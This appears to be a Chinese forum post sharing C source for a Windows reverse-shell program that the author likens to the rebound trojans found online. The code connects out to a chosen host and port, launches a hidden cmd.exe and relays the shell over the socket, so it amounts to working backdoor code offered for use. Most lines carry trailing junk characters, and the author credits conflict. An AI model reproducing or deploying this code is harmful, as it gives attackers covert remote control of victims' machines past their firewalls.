这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]->"4,}
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/* ============================== u5oM;#{@-
Rebound port in Windows NT |2j,
By wind,2006/7 =
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===============================*/ >a?Bk4w
#include v1OVrk>s>
#include fvC,P#z'|
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#pragma comment(lib,"wsock32.lib") |U|>YA1[b
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void OutputShell(); d+q],\"R
SOCKET sClient; duY?LJ @g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i/9iM\2
kW/G=_6
void main(int argc,char **argv) oP`l)`
{ GTP'js
WSADATA stWsaData; DhyR
int nRet; Z3S+")^
SOCKADDR_IN stSaiClient,stSaiServer; >O-KJZ'GV
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if(argc != 3) zXY8:+f
{ ZyGoOk
printf("Useage:\n\rRebound DestIP DestPort\n"); [:y:_ECs6
return; T8o](:B~
} B)JMughq_
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WSAStartup(MAKEWORD(2,2),&stWsaData); :wC\IwG~CE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >(Y CZ
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stSaiClient.sin_family = AF_INET; LiG$M{ 0
stSaiClient.sin_port = htons(0); &i5@4,p y9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vjS`;^9
d_!Z /M,
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3`^@ymY
{ Y9)j1~
printf("Bind Socket Failed!\n");
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return; V]zc-gYI
} &<F9Z2^
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stSaiServer.sin_family = AF_INET; :ppaq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I&1Lm)W&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lfgJQzi
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~>CvZ7K
{ G}nJ3
printf("Connect Error!"); lFzVd
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return; =1IK"BA2?
} }DhqzKl
OutputShell(); ok:uTeJI
} S1QMS
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void OutputShell() AF'<
{ %(YQ)=w
char szBuff[1024]; `Lr], >aG
SECURITY_ATTRIBUTES stSecurityAttributes; /|?$C7%a\D
OSVERSIONINFO stOsversionInfo; h&0zR#t
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cC/h7odY
STARTUPINFO stStartupInfo; PgkU~68`
char *szShell; &,&+p0CSI!
PROCESS_INFORMATION stProcessInformation; hXTfmFy{n
unsigned long lBytesRead; hF2e--
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IoDT
r: K1PO
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }+@9[Q
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stSecurityAttributes.lpSecurityDescriptor = 0; MAek856
stSecurityAttributes.bInheritHandle = TRUE; X1@DI_
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #3&@FzD_P
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _S r}3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l2
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `2.c=,S{
stStartupInfo.wShowWindow = SW_HIDE; 'PF>#X''
stStartupInfo.hStdInput = hReadPipe; 5u!\c(TJ+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c*IrZm
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GetVersionEx(&stOsversionInfo); (0 T!-hsP
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n+
switch(stOsversionInfo.dwPlatformId) _C !i(z!d
{ @DysM~I
case 1: :q9!
szShell = "command.com"; ~i.*fL_Y
break; <],{at` v
default: H>TO8;5(
szShell = "cmd.exe"; @](vFb
break; !T0I; j&
} 6K.2VY#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JS/'0.
fL*7u\m:
send(sClient,szMsg,77,0); N5?bflY
while(1) ^k6_j\5j
{ ?ko#N?hgI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H*W>v[>
if(lBytesRead) > 80{n8
{ /!5Wd(:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ] ?DU8
send(sClient,szBuff,lBytesRead,0); m{q'RAw
} (:l6R9'=
else 5JzvT JMx
{ n>'(d*[e&
lBytesRead=recv(sClient,szBuff,1024,0); S=qh7ML
if(lBytesRead<=0) break; KFrsXf
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); F-m%d@P&X
} o~LJ+m6-)
} ]_s3<&R
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f^ SxSI
return; f+Y4~k
}